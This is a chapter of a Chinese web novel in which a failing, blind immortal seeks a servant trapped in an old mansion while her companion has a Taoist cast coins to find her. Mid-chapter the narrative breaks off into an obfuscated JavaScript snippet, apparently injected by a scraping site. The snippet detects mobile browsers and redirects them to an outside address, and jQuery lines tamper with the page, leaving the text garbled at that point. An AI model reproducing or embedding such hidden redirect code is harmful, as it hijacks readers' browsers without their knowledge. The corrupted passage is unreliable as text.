14. 道士

作品:《成仙之后八百年

    在完全失明后,宁期越来越经常回忆起过去,同时,她也知道不能再拖了。


    再次站在陈宅前时,她几乎要虚脱了,为了不让许回知道自己的行踪,她不惜使用几乎见底的灵力催动传送诀。现在,她的境界几乎快掉到炼气期了。


    她不是没想过把前世的事一股脑全部告诉许回,无论自己能否二次飞升还是身死道消,都让许回陪在自己身边。


    但是张了几次嘴,她还是说不出来。


    宁期说不清犹豫是因为什么,只是不敢,不敢面对许回。


    现在独自一人,宁期反而没那么紧绷,伸出手敲了敲门。


    她还记得之前小卖部老板娘说过,陈宅现在还剩一个人守着。


    “叩叩”


    没有人应,又加重了几分力气。


    “谁啊?!”一声不耐烦的声音从里面响起。


    但宁期没说话,只是敲门。


    说了名字难不成里面的人还认识她?


    生锈的合页吱嘎作响,门被从里面打开,宁期只感觉尘土飞扬到自己脸上,不知道这门多久没开过了。


    也不知道那守着宅院的人吃什么。


    “你是……”


    刚刚还不耐烦的声音,在看到宁期时戛然而止。


    “嗯。”宁期淡声开口,“林成,是我。”


    林成推开门,猛地抓住宁期的手腕,将人扯进来,甚至让她在高高的门槛上绊了一下。


    “小姐,你回来了,你真的回来了。”林成用力关上门,抓着宁期的手,指甲都要扣进她的皮肉,好在现在触觉退化,也不觉得很痛。


    但是还没等宁期说话,林成的狂喜重新变成怒气:“你现在回来有什么用?!我回不去了,呜呜……”


    如果宁期能看得到,就能看到眼前的林成已经不是过去那个秀气的青年,头发花白脱落,眼球凹陷,一把骨头破旧地跟陈宅不相上下。


    距离林成刚穿越到的那个时代,已经过了两百余年,他能活到现在并非是长寿。


    宁期在和许回生活的这两个月时间,医学院的老地窖已经被警察封起来,无论是探测仪还是警犬,将地窖翻了个底朝天,也没有找到林成。


    那时候宁期就隐隐猜到,林成如果没有死在过去,就只可能是被困在了某个地方,


    否则,应该从历史回到现代了。


    至于为什么是陈宅……


    宁期觉得他也没别的地方去,在她作为陈宁死前,林成一直都待在陈宅。


    “你先别哭,我会带你出去,但你得回答我几个问题。”


    “我不出去!我回不去了!!”林成甩开宁期的手,伸手指着自己的脸,“你早干什么了?我已经变成这样了,我出去能做什么?我不年轻了,让认识我的人看到我这副样子吗?还是被学校关起来研究跨越百年存活个体的衰老抑制机制观察?”


    “……”宁期后知后觉地意识到,年龄对于一个普通人来说,是很重要的,她转圜了语气,“那你打算一直困在这里?”


    林成停止哭声,安静了半刻钟,用袖子擦干脸,声音带着粗喘:“你想问什么?”


    “你被困在这里多久了?”宁期在见缝插针地询问,就他现在这个精神状态,逼问也只会适得其反。


    “从你死后……到现在,我尝试过出去,但一步,就一步,我……我就变成这个样子了。”


    看林成说着说着又要激动,宁期赶紧抛出第二个问题:“我死了之后,又发生了什么?的尸体和C去了哪里?”


    林成深呼吸平复情绪摇摇头:“不知道,他不让我进主宅,只有一个道士能进去。”


    “道士?”宁期蹙眉,她认识的道士只有一个,但是她不觉得燕曲非和这件事有什么关系,更何况许回认识燕曲非不代表C也认识他。


    于是她继续问:“那个道士是来做什么的?”


    “你不知道?”


    “我为什么会知道?”


    “老爷夫人当时已经死了,是他把他们带回来的。”


    “你是说,当时和陈……我父母一起回来的那个男人是个道士?”


    ——————


    许回很早就意识到宁期视力衰弱,但是他并不在乎,他们总是待在一起的,他可以随时牵着她的手照顾她。


    而且在心底深处,他甚至……享受被宁期依赖着。


    直到宁期今天早上说她看不见了,说她可能会死,就算不死也会回到天上,神仙不能长久滞留人间。


    他早该知道了,如果个个神仙都随意下凡掺和人间事,那天下岂不乱套。


    许回没想能留住她,又不是偷羽衣的牛郎。


    但是他能做什么呢?


    他只是沉默地看着宁期,什么都说不出口,照常准备早饭,看着宁期乖乖吃煎蛋,时不时悄悄抬眼看自己,尽管她看不见了。


    然后,他迟到了,等他换好白大褂进教室的时候,周助已经帮他带了半节课了。


    周助凑近小声跟他聊天:“小期在办公室吗?上次她说我买的那个果干好吃,我又给她带了点。”


    “没有,”许回垂着眼,看实验讲义,“她生病了,晚上我给她带回去吧。”


    “生病了?严重吗?她自己待着没事?”


    “没事,我今天早些回去。”


    “行行,你早跟我说一声我就给你请假了。反正基金没拨下来,这几天没那么忙。”


    但是当许回带着周助塞给他的两包果干回家时,宁期已经不见身影了。


    他把果干放到茶几上,宁期很喜欢蜷在沙发和茶几的缝隙间。许回也都纵着她,在那里放了一个卡通向日葵的坐垫。


    “嘟嘟”


    许回拨通燕曲非的手机号码放在一边,打开手龙头,掬起一捧凉水,把脸埋进去。


    “喂,许回,怎么了?这么长时间,香也不来上了,我还以为这庙你不要了。”


    燕曲非吊儿郎当的声音从听筒传来,几乎能想象到他现在的姿势。


    许回拿起毛巾擦干脸,像是叹气一样吐出一口气。


    “下山,我去山下接你,把你的东西都带上。”


    手机那头传来一阵叮了咣铛的声音,是燕曲非在收拾东西,没有多问。


    “对了,把那只黄鼠狼也带上。”


    许回说完就挂了电话,拿毛巾随意擦了擦脸,拿着车钥匙关上门。


    二十分钟后,许回已经到了山脚,但是迟迟没看到燕曲非,又过了十分钟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271160|198068||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,车门才被用力打开。


    燕曲非一手拎着一个灰扑扑的黑袋子,穿着老头衫直接坐到车上,另一只手关上门,嘴上叼着蔫蔫的黄鼠狼。


    一人一鼠都粘着泥土。


    许回瞥了他一眼,踩下油门。


    燕曲非被许回的眼神看得不自在,松口让黄鼠狼掉下来,还没落地,就被他一只手攥住,然后抽出一张纸,呸呸吐了几下。


    “不是我来得慢,我收拾完东西还得去林子找这只黄鼠狼,已经很快了,衣服都没来得及换。”


    “嗯。”许回没有多说,伸出一只手,从燕曲非手里从黄鼠狼抓过来,眼神都没移开,车速也没降下来,“这只黄鼠狼是妖怪?”


    燕曲非默默抓紧副驾驶的把手,用力点点头。


    许回:“关于她的事,你们知道多少?”


    手里的黄仙吱吱叫了两声:“谁……”


    还没说完,被燕曲非眼疾手快捏住嘴,快速坦白:“天人五衰,命不久矣,五感渐褪,灵力衰竭。”


    这下,黄仙才后知后觉反应过来,燕曲非的手也松开了,扫过一个威胁的眼神。


    “……”黄仙被掐着脖子,艰难补充,“那个小仙姑神魂不全……呃,神格也……不是她的。”


    也不管许回听不听得懂,你一言我一语拼凑出宁期的现状。


    车停在小区楼下。


    进门时,屋子里很安静,和宁期一起生活的两个月,反而相比二十余年的独自生活,要更让许回加习惯。


    茶几上两包果干原封不动。


    向日葵坐垫歪在沙发缝里。


    燕曲非把黑袋子往地上一丢,解开绳口,里面是铜钱、龟甲、罗盘、黄纸,还有七十二根看不出材质的旧木签,甚至还有三尊神像。


    黄鼠狼被他拎着后颈放到桌上,小东西炸毛似的站着,不敢乱动。


    “说吧,问什么,寻人卦分三种。”燕曲非盘腿坐在地上解释,抬手伸出三根手指头他早就猜到许回要问什么了。


    “一是问方位,二是问生死,三是问缘。”


    “你要哪种?”


    许回几乎没有犹豫:“都要。”


    燕曲非抬眼看他,叹了口气:“贪心。”


    他取出六枚铜钱,塞进龟甲,然后塞进许回手里,做了个“请”的手势:“你自己摇,我给你解,她的因果太大,我掺和不进去,但是先说好,你也不一定能摇出来。”


    许回点头,摇了六次,松手,铜钱落在桌上,两枚铜钱叠到了一起。


    燕曲非露出果然如此的表情。


    “算不了。”


    许回皱眉,重新把铜钱放进龟甲,重新摇。


    第三次,龟甲裂开了。


    于是,许回把铜钱握在手里。


    燕曲非也知道自己劝不住许回,没再多说什么。


    连着失败了十多次,终于掷出来了。


    连黄仙都凑了过来,看着那六枚铜钱。


    燕曲非伸出手指在铜钱上轻轻点了几下,却没说话。


    “怎么了?”见燕曲非不说话,许回皱眉询问,额前因为不断的掷卦,渗出细细密密的冷汗。


    “未济。”


    “事已成,不必再问。”